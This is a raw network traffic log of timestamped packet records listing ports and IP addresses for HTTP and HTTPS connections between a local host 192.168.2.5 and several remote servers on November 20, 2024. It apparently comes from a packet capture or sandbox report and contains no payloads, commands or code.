Nov 20, 2024 08:09:24.614171982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614192009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614209890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614211082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614226103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614232063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614248037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614254951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614265919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614290953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614546061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614567041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614584923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614604950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614609957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614638090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614653111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614675045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.614797115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.614923000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.615426064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.615458965 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.615468979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.615473986 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.615495920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.615509987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.615711927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.615736961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.615748882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.615751982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.615761042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.615773916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.615777969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.615792990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.615842104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616295099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616348982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616365910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616385937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616389036 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616420984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616425037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616455078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616458893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616488934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616497040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616523027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616528988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616555929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616560936 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616590023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616591930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616630077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616631031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616667032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616667986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616683960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616699934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616717100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616727114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616743088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616753101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616758108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.616781950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.616816044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.617017984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617029905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617039919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617064953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.617086887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.617114067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617125988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617135048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617146969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617157936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617160082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.617170095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617181063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617182970 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.617192984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617194891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.617206097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.617223978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.617245913 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.623899937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.623955011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.623967886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624022007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.624048948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624058962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.624224901 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624269962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.624298096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624310017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624340057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.624362946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.624444962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624456882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624469042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624480963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624492884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.624519110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.624680042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624691963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624703884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624722004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.624748945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.624860048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624871016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624876976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624881983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624888897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624895096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624901056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.624982119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.625260115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625272036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625282049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625294924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625304937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.625305891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625346899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.625567913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625580072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625591993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625602961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625612974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625613928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.625626087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625636101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625642061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.625648975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625660896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.625689030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.625953913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625966072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625977993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.625996113 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626028061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626071930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626084089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626095057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626105070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626108885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626116991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626127958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626136065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626137972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626152039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626163006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626163960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626177073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626183033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626187086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626199961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626228094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626859903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626872063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626882076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626892090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626903057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626912117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626914024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626926899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626939058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626940012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626952887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626960039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626965046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626974106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.626977921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.626991034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.627001047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.627005100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.627008915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.627021074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.627027035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.627068996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.633282900 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.633477926 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.633518934 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.633528948 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.633538961 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.633594990 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.633594990 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.633611917 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.634357929 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.634366989 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.634386063 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.634393930 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.634402990 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.634416103 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.634417057 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.634424925 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.634454966 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.634454966 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.634495974 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.634994030 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.635003090 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.635189056 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.635847092 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.635855913 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.635878086 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.635921001 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.635927916 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.635945082 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.636013031 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.636058092 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.647344112 CET	443	49843	20.110.205.119	192.168.2.5
Nov 20, 2024 08:09:24.649771929 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.655781984 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.655812025 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.655915976 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.655940056 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.656169891 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.656303883 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.656415939 CET	443	49854	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.657069921 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.657094002 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.657136917 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.657149076 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.657161951 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.657182932 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.657838106 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.657860041 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.657907009 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.657912016 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.657933950 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.657953024 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.658138990 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.658190012 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.658869982 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.658885956 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.658922911 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.658930063 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.658953905 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.658973932 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.659761906 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.659776926 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.659867048 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.659873009 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.659966946 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.661253929 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.661320925 CET	443	49845	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:24.661758900 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.661824942 CET	443	49846	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:24.663042068 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.663052082 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.663069963 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.663079023 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.663117886 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.663132906 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.663165092 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.663609028 CET	49854	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.663618088 CET	443	49854	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.664171934 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.664180994 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.664189100 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.664211035 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.664223909 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.664235115 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.664251089 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.664364100 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.664405107 CET	49845	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:24.664427042 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.664437056 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.664443970 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.664480925 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.664629936 CET	49846	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:24.665169954 CET	443	49854	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.665251970 CET	49854	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.666090012 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.666099072 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.666126013 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.666146994 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.666156054 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.666213989 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.666302919 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.667123079 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.667144060 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.667212009 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.667212009 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.667222977 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.669015884 CET	49854	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.669433117 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.669455051 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.669560909 CET	443	49854	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.669805050 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.672343969 CET	443	49853	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.673206091 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.673300028 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:24.673497915 CET	49853	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.673506021 CET	443	49853	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.674079895 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:24.674494028 CET	443	49853	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.674590111 CET	49853	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.676054955 CET	49853	443	192.168.2.5	23.44.201.25
Nov 20, 2024 08:09:24.676115036 CET	443	49853	23.44.201.25	192.168.2.5
Nov 20, 2024 08:09:24.678924084 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:24.678950071 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:24.700180054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700229883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700242043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700267076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700267076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700325012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700365067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700376987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700387955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700398922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700408936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700412989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700429916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700443983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700611115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700622082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700634956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700654030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700675011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700700045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700711012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700722933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700733900 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700735092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700758934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700776100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.700901031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.700941086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.701905966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.701952934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.701956987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.701967955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.701988935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702008009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702039957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702052116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702088118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:24.702168941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702182055 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:24.702203989 CET	49765	80	192.168.2.5	185.215.113.206
